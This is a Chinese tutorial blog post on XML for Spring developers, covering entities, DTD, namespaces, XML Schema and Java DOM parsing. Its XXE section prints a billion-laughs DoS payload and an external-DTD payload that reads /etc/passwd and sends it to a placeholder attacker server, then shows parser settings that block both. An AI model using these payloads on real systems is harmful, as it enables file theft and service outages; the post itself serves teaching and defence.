前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Spring周边:XML

Spring周边:XML

作者头像
WEBJ2EE
发布2019-10-24 14:58:54
1.8K0
发布2019-10-24 14:58:54
举报
文章被收录于专栏:WebJ2EE

1. XML 简介

1.1. 特性介绍

  • XML 指可扩展标记语言(EXtensible Markup Language)。
  • XML 起源于文档管理系统。
  • XML 的设计宗旨是传输数据,而非显示数据。
  • XML 是一项将类型和结构置于信息上层的技术。XML 架起了应用程序数据类型与存储和传输单元之间的桥梁。XML 可以被看作是一种串行化格式或传输语法。
  • XML 实质上是一组由 W3C(World Wide Web Consortium,万维网联盟)发布的建议,指定了 XML 及其相关技术的语义和语法。
  • XML 与 HTML 很类似,但 HTML 旨在显示信息,而 XML 旨在传输信息。

图1-1:Servlet 2.3 规范下的 web.xml

图1-2:最基础的 HTML 结构

1.2. XML 结构

文档信息项(document information item)是元素、处理指令、注释和字符信息项(character information item)的根。处理指令、注释和字符信息项是叶子节点。元素信息项(element information item)则是内部节点。每个文档信息项包含唯一的元素信息项,在唯一元素信息项的前后还可以包含处理指令信息项和注释信息项。元素信息项可包含元素、注释、处理指令信息项。 《XML本质论》

  • XML 文档应当以一个文档头开始。
  • 文档头之后通常是文档类型定义(Document Type Definition)。
  • 最后,XML文档的正文包含根元素,根元素包含其他元素。

图1-3:常见 XML 结构(无命名空间、DTD验证)

图1-4:常见 XML 结构(有命名空间、Schema验证)

1.3. 关键语法规则

  • XML 使用 < > 来定义标记。
  • 所有 XML 元素都必须有关闭标签。例:<para></para> 或 <para/> 。
  • XML 标签对大小写敏感。例:<para> 和 <PARA> 是两个不同的标记。
  • XML 必须正确地嵌套。
  • XML 文档必须有根元素。
  • XML 的属性值须加引号。例: <para id="p1"> 。
  • XML 注释:<!-- This is comment -->。
  • XML 处理指令:<?target instructions?>。

2. DOCTYPE 声明

DOCTYPE 声明为文档提供一个空间,通过引用外部文件、通过直接声明或通过这两种方式来标识其根元素和文档类型定义 (DTD)。DOCTYPE 声明可以包含下列内容:

  • 文档或根元素的名称。如果使用 DOCTYPE 声明,此内容是必选项。
  • 可以用于验证文档结构的 DTD 系统标识符和公共标识符。如果使用公共标识符,必须同时提供系统标识符。
  • DTD 声明的内部子集。内部子集出现在方括号 ([ ]) 之间。

示例1:最简单的 DOCTYPE 声明只标识文档的根元素。

代码语言:javascript
复制
<!DOCTYPE rootElement>

示例2:DOCTYPE 声明可引用包含组成 DTD 声明的外部文档。

代码语言:javascript
复制
<!DOCTYPE rootElement SYSTEM "URIreference">
或
<!DOCTYPE rootElement PUBLIC "PublicIdentifier" "URIreference"

示例3:DOCTYPE 声明可在内部子集中直接包含声明。

代码语言:javascript
复制
<!DOCTYPE rootElement [
    declarations
]>

示例4:DOCTYPE 声明包含的声明将与外部文件或外部子集组合使用。

代码语言:javascript
复制
<!DOCTYPE rootElement SYSTEM "URIreference"[
    declarations
]>
或
<!DOCTYPE rootElement PUBLIC "PublicIdentifier" "URIreference"[
    declarations
]>

2. XML 实体

2.1. 是什么是实体(ENTITY)?

实体是对数据的引用。根据实体种类的不同,XML 解析器将使用实体的替代文本或者外部文档的内容来替代实体引用。本文介绍以下几种实体:

  • 字符实体
  • 命名实体
  • 外部实体
  • 参数实体

所有实体(除参数实体外)都以一个与字符(&)开始,以一个分号(;)结束。

2.2. XML 预定义实体?

XML 标准定义了所有 XML 解析器都必须实现的 5 种标准实体。

图2-1:XML 预定义实体

示例:

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<car>
    <maxSpeed>
        200
    </maxSpeed>
    <brand>
        红旗&amp;CA72
    </brand>
    <code>
        Map&lt;String, String&gt; map = new HashMap&lt;String, String&gt;();
    </code>
</car>
代码语言:javascript
复制
package webj2ee;

import org.springframework.core.io.ClassPathResource;
import org.w3c.dom.Document;
import org.xml.sax.SAXException;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.xpath.XPath;
import javax.xml.xpath.XPathExpressionException;
import javax.xml.xpath.XPathFactory;
import java.io.IOException;
import java.io.InputStream;

public class Demo1 {
    public static void main(String[] args) throws IOException, ParserConfigurationException, 
            SAXException, XPathExpressionException {
        InputStream inputStream = new ClassPathResource("demo1.xml").getInputStream();
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        factory.setValidating(false);
        factory.setNamespaceAware(false);

        DocumentBuilder builder = factory.newDocumentBuilder();

        Document doc = builder.parse(inputStream);

        XPathFactory xpFactory = XPathFactory.newInstance();
        XPath xPath = xpFactory.newXPath();
        String brand = xPath.evaluate("/car/brand", doc);
        String code = xPath.evaluate("/car/code", doc);

        System.out.println(brand);
        System.out.println(code);
    }
}

2.3. 字符实体

对于字符实体,我们可以用十进制格式(&#nnn;,其中 nnn 是字符的十进制值)或十六进制格式(&#xhhh;,其中 hhh 是字符的十六进制值)来指定任意 Unicode 字符。

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<article>
    <author>
        莎士比亚
    </author>
    <content>
&#26126;&#26234;&#30340;&#20154;
&#20915;&#19981;&#22352;&#19979;&#26469;
&#20026;&#22833;&#36133;&#32780;&#21696;&#21495;&#65292;
&#20182;&#20204;&#19968;&#23450;
&#20048;&#35266;&#22320;&#23547;&#25214;&#21150;&#27861;
&#26469;&#21152;&#20197;&#25405;&#25937;&#12290;
    </content>
</article>

定义 ENTITY 实体的完整语法

代码语言:javascript
复制
<!ENTITY [%] name [SYSTEM|PUBLIC publicID] resource [NDATA notation] >

name: 实体的名称。所有实体定义的必选项。
publicID: 实体的公共标识符。只有声明使用 PUBLIC 关键字时才是必选项。
Resource:实体的值(资源)。所有实体定义的必选项。如果是内部实体,则是已分析并展开的文本字符串。如果是外部实体,则是标识外部实体(例如文件名或文件类型)的统一资源标识符 (URI)。
notation:【本文不讲】

2.4. 命名实体

命名实体也称为内部实体,在 DTD 或内部子集(即文档中 <!DOCTYPE> 语句的一部分)中声明,在文档中引用。在 XML 文档解析过程中,实体引用将由它的表示替代。简单来说,实体就是宏,它们在我们处理文档时得到扩展。

语法:

代码语言:javascript
复制
<!ENTITY 实体名 "实体值">

示例:

代码语言:javascript
复制
<?xml version="1.0"?>
<!DOCTYPE note [
    <!ELEMENT note (name)>
    <!ELEMENT name (#PCDATA)>
    <!ENTITY hacker "ESHLkangi">
]>
<note>
    <name>&hacker;</name>
</note>

2.5. 外部实体

外部实体表示外部文件的内容,用 SYSTEM 关键词表示。

语法:

代码语言:javascript
复制
<!ENTITY 实体名 SYSTEM "URI/URL">
或
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

协议:

示例:

代码语言:javascript
复制
<?xml version="1.0"?>
<!DOCTYPE pwd [
    <!ELEMENT pwd (#PCDATA)>
    <!ENTITY test SYSTEM "file:///D://password.txt">
]>
<pwd>&test;</pwd>
代码语言:javascript
复制
public class Demo1 {
    public static void main(String[] args) throws IOException, ParserConfigurationException,
            SAXException, XPathExpressionException {
        InputStream inputStream = new ClassPathResource("demo1.xml").getInputStream();
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        factory.setValidating(true);
        factory.setNamespaceAware(false);

        DocumentBuilder builder = factory.newDocumentBuilder();
        Document doc = builder.parse(inputStream);

        XPathFactory xpFactory = XPathFactory.newInstance();
        XPath xPath = xpFactory.newXPath();
        String pwd = xPath.evaluate("/pwd", doc);

        System.out.println(pwd);
    }
}

2.6. 参数实体

参数实体只用于 DTD 和文档的内部子集中。可以是命名实体或外部实体。参数实体引用不能出现在 XML 文档中,只出现在DTD中。当参数实体在DTD中通过名称引用时,可以扩展成一个字符串。

语法:

代码语言:javascript
复制
<!ENTITY % 实体名称 "实体的值">
或
<!ENTITY % 实体名称 SYSTEM "URI">

示例:

代码语言:javascript
复制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ELEMENT root (foo)>
    <!ELEMENT foo (#PCDATA)>
    <!ENTITY % param1 "Hello">
    <!ENTITY % param2 " ">
    <!ENTITY % param3 "World">
    <!ENTITY % dtd SYSTEM "file:///d://combine.dtd">
    %dtd;
]>
<root>
    <foo>&content;</foo>
</root>
代码语言:javascript
复制
<!ENTITY content "%param1;%param2;%param3;">

2.7. XXE 漏洞

2.7.1. 什么是 XXE 漏洞:

XXE漏洞全称XML External Entity Injection 即 XML 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

2.7.2. 漏洞示例1:DoS

a billion laughs attack 是一种 denial-of-service(DoS)攻击,它主要作用于XML文档解析器。该攻击通过创建一项递归的 XML 定义,在内存中生成十亿个”Ha!”字符串,从而导致 DDoS 攻击。

例如:

代码语言:javascript
复制
<?xml version="1.0"?>
<!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    <!ELEMENT lolz (#PCDATA)>
]>
<lolz>&lol9;</lolz>

2.7.3. 漏洞示例2:窃取文件

代码语言:javascript
复制
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>
代码语言:javascript
复制
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>">
%all;

2.7.4. 漏洞防御:

XXE 漏洞主要问题就是XML解析器解析了用户发送的不可信数据。然而,要去校验DTD(document type definition) 中 SYSTEM 标识符定义的数据,并不容易,也不大可能。因此,最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。

示例:禁用外部实体、参数实体和内联DTD,避免基于XXE漏洞的攻击。

代码语言:javascript
复制
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

3. DTD

  • DTD是 Document Type Definition(文档类型定义)的缩写。
  • DTD 用于定义 XML 的结构,具体涉及 XML 文档中包含哪些标记(Tag)、属性(Attribute)、实体(Entities)以及这些内容之间的相互关系。
  • DTD 分为外部 DTD 和内部 DTD 两种。

3.1. 引用 DTD

内部DTD:

代码语言:javascript
复制
<!DOCTYPE 根元素[定义内容]>

‍外部DTD:

代码语言:javascript
复制
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
或
<!DOCTYPE 根节点 PUBLIC "DTD的名称" "DTD的地址">

示例:

代码语言:javascript
复制
<!DOCTYPE web-app PUBLIC 
          "-//Sun Microsystems,Inc.//DTD Web Application 2.3//EN" 
          "http://java.sun.com/dtd/web-app_2_3.dtd">

3.2. DTD 语法规则简述

3.2.1. 声明元素

ELEMENT 语句用于声明 DTD 所定义的文档类型中使用的每个元素。先按名称声明元素,然后指定该元素允许包含的内容。

语法:

代码语言:javascript
复制
<!ELEMENT  name  content >

参数:

代码语言:javascript
复制
name: 元素的名称。要求大小写匹配。
content: 元素允许包含的内容模型,必须是下列选项中的一个:
   * ANY - 元素中允许包含任何内容。如果在元素声明中使用此关键字,元素及其所有子节点允许一个开放的、没有限制的内容模型。
   * EMPTY - 不允许元素包含内容,必须保留为空。
   * Declared content rule – 对于此选项,您需要编写内容规则并将其包括在一对括号中。
   图3-1显示保留的关键字或标点符号,可以与 DTD 中声明的其他元素的名称一起使用,构造元素内容规则。

图3-1:XML 预定义实体

示例1:声明一个可以包含任何内容的 <test> 元素:

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
    <!ELEMENT test ANY>
]>
<test>
    Hello World!
</test>

示例2:声明一个必须为空(即不能有内容)的 <Image> 元素:

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Image[
    <!ELEMENT Image EMPTY>
]>
<Image/>

示例3:声明一个只能包含字符数据(没有其他标记)的 <title> 元素:

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title[
    <!ELEMENT title (#PCDATA)>
]>
<title>HelloWorld</title>

示例4:声明一个包含 <apple> 元素或 <orange> 元素的 <fruit> 元素:

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fruit[
    <!ELEMENT fruit (apple|orange)>
    <!ELEMENT apple (#PCDATA)>
    <!ELEMENT orange (#PCDATA)>
]>
<fruit>
    <apple>红富士</apple>
</fruit>

示例5:声明一个必须包含 <author> 元素并且后接一个 <title> 元素的 <book> 元素:

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE book[
    <!ELEMENT book (author,title)>
    <!ELEMENT author (#PCDATA)>
    <!ELEMENT title (#PCDATA)>
]>
<book>
    <author>张三</author>
    <title>CSS权威指南</title>
</book>

示例6:声明一个必须包含 <body> 元素并且可选择后接一个 <postscript> 元素的 <memo> 元素:

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE memo[
    <!ELEMENT memo (body,postscript?)>
    <!ELEMENT body (#PCDATA)>
    <!ELEMENT postscript (#PCDATA)>
]>
<memo>
    <body>数据体</body>
</memo>

示例7:声明一个必须包含一个或更多的 <book> 元素的 <catalog> 元素:

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE catalog[
    <!ELEMENT catalog (book+)>
    <!ELEMENT book (#PCDATA)>
]>
<catalog>
    <book>CSS权威指南</book>
    <book>HTML权威指南</book>
    <book>JavaScript权威指南</book>
</catalog>

示例8:声明一个可以为空或包含 <rowset> 元素的 <table> 元素:

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE table[
    <!ELEMENT table (rowset*)>
    <!ELEMENT rowset (#PCDATA)>
]>
<table>
</table>

3.2.2. 属性定义语法

ATTLIST 声明用于列出并声明可以属于某个元素的每个属性。先指定将应用属性列表的元素的名称。然后按名称列出每个属性,指示属性是不是必选属性,并指定允许作为值的字符数据。

语法:

代码语言:javascript
复制
<!ATTLIST  elementName  attributeName  dataType  default >

参数:

代码语言:javascript
复制
elementName:要应用属性列表的元素的名称。
attributeName:属性名。此参数可以根据需要重复多次,列出所有可与 elementName 一起使用的属性。
dataType:在 attributeName 参数中命名的属性的数据类型,合理取值如图3-2所示。
default:attributeName 中命名的属性的默认值,合理取值如图3-3所示。

图3-2:ATTLIST 的 dataType 属性取值

图3-3:ATTLIST 的 default 属性取值

示例:

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE catalog[
    <!ELEMENT catalog (book+)>
    <!ELEMENT book (#PCDATA)>
    <!ATTLIST book
        publisher  CDATA     #IMPLIED
        reseller   CDATA     #FIXED    "MyStore"
        ISBN       ID        #REQUIRED
        inPrint    (yes|no)  "yes"
        >
]>
<catalog>
    <book publisher="A出版社" reseller="MyStore" 
          ISBN="A001" inPrint="yes">CSS权威指南</book>
    <book publisher="B出版社" reseller="MyStore" 
          ISBN="B002" inPrint="no">HTML权威指南</book>
    <book publisher="C出版社" reseller="MyStore" 
          ISBN="C003" inPrint="yes">JavaScript权威指南</book>
</catalog>

分析:

  • 此示例声明 <book> 元素的以下属性:
  • 只能包含字符数据的可选 publisher 属性。
  • 值设置为 "MyStore". 的固定 reseller 属性。
  • 所需的 ISBN 属性,它必须包含 XML 文档中每个 <book> 元素的唯一的标识值。
  • 必须包含 "yes" 或 "no" 值的必选 InPrint 属性。如果 XML 文档中未明确设置值,默认值将采用 "yes" 值。

3.3. web-app_2_3.dtd 节选

代码语言:javascript
复制
<!ELEMENT web-app (display-name?, description?,
context-param*, filter*, filter-mapping*, listener*, servlet*,
servlet-mapping*)>

<!ELEMENT context-param (param-name, param-value, description?)>
<!ELEMENT param-name (#PCDATA)>
<!ELEMENT param-value (#PCDATA)>
<!ELEMENT description (#PCDATA)>

<!ELEMENT display-name (#PCDATA)>

<!ELEMENT filter (icon?, filter-name, display-name?, description?,
filter-class, init-param*)>
<!ELEMENT filter-class (#PCDATA)>
<!ELEMENT filter-mapping (filter-name, (url-pattern | servlet-name))>
<!ELEMENT filter-name (#PCDATA)>

<!ELEMENT listener (listener-class)>
<!ELEMENT listener-class (#PCDATA)>

<!ELEMENT servlet (icon?, servlet-name, display-name?, description?,
(servlet-class|jsp-file), init-param*, load-on-startup?, run-as?, security-role-ref*)>
<!ELEMENT servlet-class (#PCDATA)>
<!ELEMENT servlet-mapping (servlet-name, url-pattern)>
<!ELEMENT servlet-name (#PCDATA)>

<!ATTLIST web-app id ID #IMPLIED>
<!ATTLIST context-param id ID #IMPLIED>
<!ATTLIST description id ID #IMPLIED>
<!ATTLIST display-name id ID #IMPLIED>
<!ATTLIST filter id ID #IMPLIED>
<!ATTLIST filter-class id ID #IMPLIED>
<!ATTLIST filter-mapping id ID #IMPLIED>
<!ATTLIST filter-name id ID #IMPLIED>
<!ATTLIST init-param id ID #IMPLIED>
<!ATTLIST listener id ID #IMPLIED>
<!ATTLIST listener-class id ID #IMPLIED>
<!ATTLIST param-name id ID #IMPLIED>
<!ATTLIST param-value id ID #IMPLIED>
<!ATTLIST servlet id ID #IMPLIED>
<!ATTLIST servlet-class id ID #IMPLIED>
<!ATTLIST servlet-mapping id ID #IMPLIED>
<!ATTLIST servlet-name id ID #IMPLIED>

肿么样?是不是也没那么复杂?

4. XML 命名空间

根据 Namespaces in XML W3C 推荐标准的定义,XML 命名空间是由国际化资源标识符 (IRI) 标识的 XML 元素和属性集合,该集合通常称作 XML“词汇”。定义 XML 命名空间的主要动机之一是在使用和重用多个词汇时避免名称冲突

4.1. 声明和应用命名空间

  • 命名空间被声明为元素的属性。可以在 XML 文档中的任何元素中进行声明。
  • 声明的命名空间的范围起始于声明该命名空间的元素,并应用于该元素的所有内容,直到被具有相同前缀名称的其他命名空间声明覆盖。
  • 元素属性的命名空间必须显式指定,而且不会绑定到默认命名空间;

语法:xmlns 保留字用于绑定命名空间

代码语言:javascript
复制
xmlns="namespaceURI"  // 绑定到默认命名空间
xmlns:namespace-prefix="namespaceURI" // 绑定命名空间到指定前缀

示例1:

代码语言:javascript
复制
<?xml version="1.0"?>
<Book xmlns:lib="http://www.library.com">
  <lib:Title>Sherlock Holmes</lib:Title>
  <lib:Author>Arthur Conan Doyle</lib:Author>
</Book>

解释:
元素 Title 和 Author 与命名空间 http://www.library.com 关联

示例2:

代码语言:javascript
复制
<?xml version="1.0"?>
<Book xmlns:lib="http://www.library.com">
  <lib:Title>Sherlock Holmes - I</lib:Title>
  <lib:Author>Arthur Conan Doyle</lib:Author>
  <purchase xmlns:lib="http://www.otherlibrary.com">
    <lib:Title>Sherlock Holmes - II</lib:Title>
    <lib:Author>Arthur Conan Doyle</lib:Author>
  </purchase>
  <lib:Title>Sherlock Holmes - III</lib:Title>
  <lib:Author>Arthur Conan Doyle</lib:Author>
</Book>

解释:
Sherlock Holmes - III 和 Sherlock Holmes - I 的元素 Title 和 Author 与命名空间 http://www.library.com 关联。 
Sherlock Holmes - II 的元素 Title 和 Author 与命名空间 http://www.otherlibrary.com 关联。

示例3:

代码语言:javascript
复制
<?xml version="1.0"?>
<Book xmlns="http://www.library.com">
  <Title>Sherlock Holmes</Title>
  <Author>Arthur Conan Doyle</Author>
</Book>

解释:
元素 Book、Title 和 Author 与命名空间 http://www.library.com 关联。

示例4:

代码语言:javascript
复制
<?xml version="1.0"?>
<Book xmlns="http://www.library.com">
  <Title>Sherlock Holmes - I</Title>
  <Author>Arthur Conan Doyle</Author>
  <purchase xmlns="http://www.otherlibrary.com">
    <Title>Sherlock Holmes - II</Title>
    <Author>Arthur Conan Doyle</Author>
  </purchase>
  <Title>Sherlock Holmes - III</Title>
  <Author>Arthur Conan Doyle</Author>
</Book>

解释:
Sherlock Holmes - III 和 Sherlock Holmes - I 的元素 Book、 Title 和 Author 与命名空间 http://www.library.com 关联。
Sherlock Holmes - II 的元素 purchase、 Title 和 Author 与命名空间 http://www.otherlibrary.com 关联。

示例5:

代码语言:javascript
复制
<?xml version="1.0"?>
<Book isbn="1234" pfx:cover="hard" xmlns="http://www.library.com" xmlns:pfx="http://www.library.com">
  <Title>Sherlock Holmes</Title>
  <Author>Arthur Conan Doyle</Author>
</Book>

解释:
属性 isbn 没有命名空间关联。
属性 cover 与命名空间 http://www.library.com 关联。

下面再看两个 SpringSecurity 的配置示例

合理选择默认命名空间

可以简化配置、增强可读性

图4-1:将 security 作为默认命名空间

图4-2:将 beans 作为默认命名空间

4.2. 命名空间是网址吗?

尽管命名空间通常看上去像 URL,但这并不意味着实际声明和使用命名空间时一定要连接到互联网上。只是一个标识符而已。

5. XML Schema

5.1. 什么是 XML Schema?

XML Schema 的作用是定义 XML 文档的合法构建模块,类似 DTD。

5.2. XML Schema 能干什么?

  • 定义可出现在文档中的元素
  • 定义可出现在文档中的属性
  • 定义哪个元素是子元素
  • 定义子元素的次序
  • 定义子元素的数目
  • 定义元素是否为空,或者是否可包含文本
  • 定义元素和属性的数据类型
  • 定义元素和属性的默认值以及固定值

5.3. XML Schema 对比 DTD?

XML Schema 是基于 XML 的 DTD 替代者。理由如下:

  • XML Schema 可针对未来的需求进行扩展;
  • XML Schema 更完善,功能更强大;
  • XML Schema 基于 XML 编写;
  • XML Schema 支持数据类型;
  • XML Schema 支持命名空间;

5.4. 基础语法

5.4.1. 综合示例入门

<schema> 元素是每一个 XML Schema 的根元素。

1. XSD 定义示例:

代码语言:javascript
复制
<?xml version="1.0"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"
    targetNamespace="http://www.w3school.com.cn"
    xmlns="http://www.w3school.com.cn"
    elementFormDefault="qualified">
  <xs:element name="note">
      <xs:complexType>
        <xs:sequence>
          <xs:element name="to" type="xs:string"/>
          <xs:element name="from" type="xs:string"/>
          <xs:element name="heading" type="xs:string"/>
          <xs:element name="body" type="xs:string"/>
        </xs:sequence>
      </xs:complexType>
  </xs:element>
</xs:schema>

解释:

代码语言:javascript
复制
1. xmlns:xs="http://www.w3.org/2001/XMLSchema"
   显示 schema 中用到的元素和数据类型来自命名空间 "http://www.w3.org/2001/XMLSchema"。
   同时它还规定了来自命名空间 "http://www.w3.org/2001/XMLSchema" 的元素和数据类型应该使用前缀 xs。

2. targetNamespace="http://www.w3school.com.cn"    
   显示被此 schema 定义的元素 (note, to, from, heading, body) 
   来自命名空间:"http://www.w3school.com.cn"。
   
3. xmlns="http://www.w3school.com.cn"  
   指出默认的命名空间是 "http://www.w3school.com.cn"。
   
4. elementFormDefault="qualified" 
   指出任何 XML 实例文档所使用的且在此 schema 中声明过的元素必须被命名空间限定。

2. XSD 引用示例:

代码语言:javascript
复制
<?xml version="1.0"?>
<note xmlns="http://www.w3school.com.cn"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:schemaLocation="http://www.w3school.com.cn note.xsd">
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

解释:

代码语言:javascript
复制
1. xmlns="http://www.w3school.com.cn" 
   规定了默认命名空间的声明。此声明会告知 schema 验证器,
   在此 XML 文档中使用的所有元素都被声明于 "http://www.w3school.com.cn" 这个命名空间。

2. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   绑定 XML Schema 实例命名空间到 xsi 前缀;

3. xsi:schemaLocation="http://www.w3school.com.cn note.xsd"
   使用 XML Schema 的 schemaLocation 属性。此属性有两个值:
   第一个值是需要使用的命名空间。第二个值是供命名空间使用的 XML schema 的位置。

图5-1:Spring 配置文件头部示例

5.4.2. XSD 注释

作为XML文件,XSD文件自然也可以使用<!-- -->的注释格式,除此之外,XSD文件中还可以使用XML元素的方式来注释,这就是<annotation>元素,<annotation>元素则是通过使用<document>和<appinfo>两个子元素来起作用的,其中<document>主要放适合人类阅读的注释,而<appinfo>则主要放置针对其它应用程序的注释信息。

图5-2:spring-beans.xsd 注释示例

5.4.3. 简易元素

简易元素指那些仅包含文本的元素。它不会包含任何其他的元素或属性。

语法:

代码语言:javascript
复制
<xs:element name="xxx" type="yyy"/>

常用数据类型:

  • xs:string
  • xs:decimal
  • xs:integer
  • xs:boolean
  • xs:date
  • xs:time

示例:

5.4.4. 声明属性

语法:

代码语言:javascript
复制
<xs:attribute name="xxx" type="yyy"/>

示例:

5.4.5. 限定

限定(restriction)用于为 XML 元素或者属性定义可接受的值。

示例:

篇幅有限,其他 Schema 技术细节,可参考网址

https://www.w3school.com.cn/schema/index.asp

6. 基于 DOM 的 XML 解析

Java 库提供了两种 XML 解析器:

  • 树形解析器(tree parser):例如 Java 的文档对象模型(Document Object Model, DOM)解析器,它会将读取的 XML 文档转换为树结构。
  • 流机制解析器(streaming parser):例如 Java 的简单API(Simple API for XML,SAX)解析器,它会在读入 XML 文档时生成相应的事件。

6.1. 解析器接口

DOM 解析器的接口已经被 W3C 标准化了。

图6-1:DOM解析器接口类关系

6.2. 核心解析接口

代码语言:javascript
复制
// 构建 DocumentBuilderFactory
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setValidating(true); // 开启校验
factory.setNamespaceAware(true); // 启用命名空间支持

// 构建 DocumentBuilder
DocumentBuilder docBuilder = factory.newDocumentBuilder();
docBuilder.setEntityResolver(entityResolver); // 设置实体解析器
docBuilder.setErrorHandler(errorHandler); // 设置错误处理器

// 获取 Document
Document doc = builder.parse(inputStream);

// 获取 根节点
Element root = doc.getDocumentElement();
NodeList childNodes = root.getChildNodes();
for (int i = 0, len = childNodes.getLength(); i < len; i++) {
    Node item = childNodes.item(i);
    if (item instanceof Element) {
       // ....
    }else if(item instanceof Text){
       // ....
    }
}       

6.3. 使用 XPath 定位信息

代码语言:javascript
复制
XPathFactory xpFactory = XPathFactory.newInstance();
XPath xPath = xpFactory.newXPath();
String paramName = xPath.evaluate("/configition/database/username", doc);

6.4. 综合示例(仿 Spring 解析 xml 的逻辑)

代码语言:javascript
复制
package webj2ee;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.core.io.ClassPathResource;
import org.w3c.dom.*;
import org.xml.sax.SAXException;

import javax.xml.parsers.ParserConfigurationException;
import java.io.IOException;
import java.io.InputStream;

public class Servlet23WebXmlParser {
    private Logger logger = LoggerFactory.getLogger(getClass());

    public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {

        // read web.xml file
        InputStream xmlFileInputStream = new ClassPathResource("servlet23/web.xml").getInputStream();

        // get web.xml Document
        WebXmlDocumentLoader documentLoader = new WebXmlDocumentLoader();
        Document document = documentLoader.doLoadDocument(xmlFileInputStream);

        // get web.xml Definition
        WebXmlDefinitionReader definitionReader = new WebXmlDefinitionReader();
        WebXmlDefinition definition = definitionReader.loadWebXmlDefinition(document);

        // out
        System.out.println(definition);
    }
}
代码语言:javascript
复制
package webj2ee;

import org.w3c.dom.Document;
import org.xml.sax.EntityResolver;
import org.xml.sax.ErrorHandler;
import org.xml.sax.SAXException;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import java.io.IOException;
import java.io.InputStream;

public class WebXmlDocumentLoader {
    public Document doLoadDocument(InputStream inputStream) throws ParserConfigurationException, IOException, SAXException {
        DocumentBuilderFactory factory = createDocumentBuilderFactory(true, true);
        DocumentBuilder builder = createDocumentBuilder(factory, new WebXmlDtdResolver(), new WebXmlErrorHandler());
        return builder.parse(inputStream);
    }

    private DocumentBuilderFactory createDocumentBuilderFactory(boolean validating, boolean namespaceAware) {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        factory.setValidating(validating);
        factory.setNamespaceAware(namespaceAware);
        return factory;
    }

    private DocumentBuilder createDocumentBuilder(DocumentBuilderFactory factory,
                                                  EntityResolver entityResolver, ErrorHandler errorHandler)
            throws ParserConfigurationException {

        DocumentBuilder docBuilder = factory.newDocumentBuilder();
        if (entityResolver != null) {
            docBuilder.setEntityResolver(entityResolver);
        }
        if (errorHandler != null) {
            docBuilder.setErrorHandler(errorHandler);
        }
        return docBuilder;
    }
}
代码语言:javascript
复制
package webj2ee;

import org.w3c.dom.*;

import javax.xml.xpath.XPath;
import javax.xml.xpath.XPathExpressionException;
import javax.xml.xpath.XPathFactory;

public class WebXmlDefinitionReader {
